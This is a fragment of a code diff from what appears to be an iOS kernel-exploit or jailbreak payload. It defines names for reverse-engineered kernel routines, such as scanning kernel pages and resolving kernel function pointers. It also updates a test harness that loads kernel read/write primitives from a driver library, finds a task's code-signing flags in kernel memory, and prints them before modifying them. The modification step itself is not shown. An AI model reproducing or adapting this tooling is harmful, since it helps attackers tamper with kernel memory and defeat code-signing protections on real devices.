+#define sub_40230 get_voucher_attr_recipe_versioned
+#define sub_402CC plist_array_append_unique_12
+#define sub_40364 find_aligned_kaddr_in_region
+#define sub_403E0 plist_array_contains_check_13
+#define sub_4062C find_kfunc_ptr_in_kernel_data
+#define sub_4087C scan_kernel_page_for_pattern
+#define sub_40CBC resolve_kfunc_via_page_dispatch

src/payload_377bed/test.m

@@ -176,8 +176,8 @@ int main(int argc, char *argv[], char *envp[]) {
         fprintf(stderr, "dlopen failed: %s\n", dlerror());
         return 1;
     }
-    kread_buf_internal = (driver_kreadbuf)dlsym(handle, "kreadbuf_last_1");
-    kwrite_buf_internal = (driver_kwritebuf)dlsym(handle, "kwritebuf_last_1");
+    kread_buf_internal = (driver_kreadbuf)dlsym(handle, "krw_read_thunk");
+    kwrite_buf_internal = (driver_kwritebuf)dlsym(handle, "kwritebuf_universal");
     if (!kread_buf_internal || !kwrite_buf_internal) {
         fprintf(stderr, "dlsym rw failed: %s\n", dlerror());
         return 1;
@@ -224,7 +224,7 @@ int main(int argc, char *argv[], char *envp[]) {
     csops(pid, 0, &flags, sizeof(flags));
     printf("csops before modify: 0x%x\n", flags);
     
-    driver_task_csflags_kaddr task_csflags_kaddr = (driver_task_csflags_kaddr)dlsym(handle, "sub_34680");
+    driver_task_csflags_kaddr task_csflags_kaddr = (driver_task_csflags_kaddr)dlsym(handle, "get_task_csflags_kaddr");
     if (!task_csflags_kaddr) {
         fprintf(stderr, "dlsym task_csflags_kaddr failed: %s\n", dlerror());
         return 1;